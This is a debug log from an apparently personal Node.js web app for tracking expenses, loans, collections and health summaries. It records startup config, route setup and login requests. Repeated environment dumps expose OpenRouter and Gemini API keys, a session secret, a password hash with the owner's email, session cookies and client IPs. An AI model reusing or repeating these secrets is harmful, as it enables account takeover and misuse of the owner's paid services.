2026-06-06T21:15:15.064Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-06T21:15:15.065Z server-connect:output restrict: undefined
2026-06-06T21:15:15.595Z server-connect:router Serving templateView /login
2026-06-06T21:15:15.596Z server-connect:app Executing action step identify
2026-06-06T21:15:15.596Z server-connect:app options: { provider: 'security' }
2026-06-06T21:15:15.596Z server-connect:auth No login cookie found
2026-06-06T21:15:15.596Z server-connect:output identity: false
2026-06-06T21:15:15.596Z server-connect:router Render template layouts/authentication
2026-06-06T21:15:15.597Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.84.107',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-07T21:15:15.595Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.84.107',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.84.107',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-07T02:11:08.910Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T02:11:11.180Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T02:11:12.043Z server-connect:setup:upload Upload middleware configured.
2026-06-07T02:11:12.044Z server-connect:secure CSRF Protection initialized
2026-06-07T02:11:12.050Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T02:11:12.052Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T02:11:12.053Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T02:11:12.055Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T02:11:12.064Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T02:11:12.065Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T02:11:12.079Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T02:11:12.093Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T02:11:12.096Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T02:11:12.098Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T02:11:12.100Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T02:11:12.104Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T02:11:12.110Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T02:11:12.119Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T02:11:12.124Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T02:11:12.195Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T02:11:12.195Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T02:11:12.200Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T02:11:12.205Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T02:11:12.209Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T02:11:12.211Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T02:11:12.219Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T02:11:12.221Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T02:11:12.227Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T02:11:12.229Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T02:11:12.235Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T02:11:12.237Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T02:11:12.239Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T02:11:12.245Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T02:11:12.247Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T02:11:12.249Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T02:11:12.251Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T02:11:12.255Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T02:11:12.255Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T02:11:12.262Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T02:11:12.266Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T02:11:12.268Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T02:11:12.278Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T02:11:12.906Z server-connect:router Serving templateView /
2026-06-07T02:11:12.911Z server-connect:app Executing action step identify
2026-06-07T02:11:12.911Z server-connect:app options: { provider: 'security' }
2026-06-07T02:11:12.916Z server-connect:auth No login cookie found
2026-06-07T02:11:12.916Z server-connect:output identity: false
2026-06-07T02:11:12.916Z server-connect:app Executing action step restrict
2026-06-07T02:11:12.916Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T02:11:12.920Z server-connect:output restrict: undefined
2026-06-07T02:11:16.528Z server-connect:router Serving templateView /login
2026-06-07T02:11:16.529Z server-connect:app Executing action step identify
2026-06-07T02:11:16.529Z server-connect:app options: { provider: 'security' }
2026-06-07T02:11:16.529Z server-connect:auth No login cookie found
2026-06-07T02:11:16.529Z server-connect:output identity: false
2026-06-07T02:11:16.529Z server-connect:router Render template layouts/authentication
2026-06-07T02:11:16.530Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="143", "Chromium";v="143"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    referer: 'http://ems.sanjaychaurasia.xyz',
    'true-client-ip': '72.95.95.68',
    'x-forwarded-for': '123.17.244.49',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T02:11:16.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '123.17.244.49',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '".Not/A)Brand";v="99", "Google Chrome";v="143", "Chromium";v="143"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz',
    'HTTP_TRUE_CLIENT-IP': '72.95.95.68',
    'HTTP_X_FORWARDED-FOR': '123.17.244.49',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-07T05:05:10.522Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T05:05:12.731Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T05:05:13.598Z server-connect:setup:upload Upload middleware configured.
2026-06-07T05:05:13.598Z server-connect:secure CSRF Protection initialized
2026-06-07T05:05:13.603Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T05:05:13.605Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T05:05:13.606Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T05:05:13.609Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T05:05:13.614Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T05:05:13.620Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T05:05:13.631Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T05:05:13.648Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T05:05:13.651Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T05:05:13.653Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T05:05:13.655Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T05:05:13.659Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T05:05:13.665Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T05:05:13.675Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T05:05:13.679Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T05:05:13.751Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T05:05:13.752Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T05:05:13.757Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T05:05:13.763Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T05:05:13.766Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T05:05:13.769Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T05:05:13.777Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T05:05:13.777Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T05:05:13.784Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T05:05:13.786Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T05:05:13.790Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T05:05:13.792Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T05:05:13.794Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T05:05:13.800Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T05:05:13.802Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T05:05:13.804Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T05:05:13.806Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T05:05:13.810Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T05:05:13.810Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T05:05:13.817Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T05:05:13.821Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T05:05:13.823Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T05:05:13.833Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T05:05:14.987Z server-connect:router Serving templateView /
2026-06-07T05:05:14.992Z server-connect:app Executing action step identify
2026-06-07T05:05:14.992Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:14.994Z server-connect:auth No login cookie found
2026-06-07T05:05:14.994Z server-connect:output identity: false
2026-06-07T05:05:14.994Z server-connect:app Executing action step restrict
2026-06-07T05:05:14.995Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:05:14.999Z server-connect:output restrict: undefined
2026-06-07T05:05:15.264Z server-connect:router Serving templateView /login
2026-06-07T05:05:15.265Z server-connect:app Executing action step identify
2026-06-07T05:05:15.265Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:15.265Z server-connect:auth No login cookie found
2026-06-07T05:05:15.265Z server-connect:output identity: false
2026-06-07T05:05:15.265Z server-connect:router Render template layouts/authentication
2026-06-07T05:05:15.266Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:15.263Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-07T05:05:19.194Z server-connect:router Serving serverConnect /api/access-control/login
2026-06-07T05:05:19.195Z server-connect:app Executing action step identify
2026-06-07T05:05:19.195Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:19.195Z server-connect:auth No login cookie found
2026-06-07T05:05:19.195Z server-connect:output identity: false
2026-06-07T05:05:19.195Z server-connect:app Executing action step login
2026-06-07T05:05:19.196Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-06-07T05:05:19.201Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-06-07T05:05:19.254Z server-connect:output identity: 1
2026-06-07T05:05:19.254Z server-connect:app Executing action step restrict
2026-06-07T05:05:19.254Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:05:19.256Z server-connect:output restrict: undefined
2026-06-07T05:05:19.446Z server-connect:router Serving templateView /
2026-06-07T05:05:19.446Z server-connect:app Executing action step identify
2026-06-07T05:05:19.446Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:19.446Z server-connect:output identity: 1
2026-06-07T05:05:19.446Z server-connect:app Executing action step restrict
2026-06-07T05:05:19.447Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:05:19.447Z server-connect:output restrict: undefined
2026-06-07T05:05:19.447Z server-connect:app Executing action step restrict
2026-06-07T05:05:19.447Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:05:19.448Z server-connect:output restrict: undefined
2026-06-07T05:05:19.448Z server-connect:router Render template layouts/main
2026-06-07T05:05:19.449Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
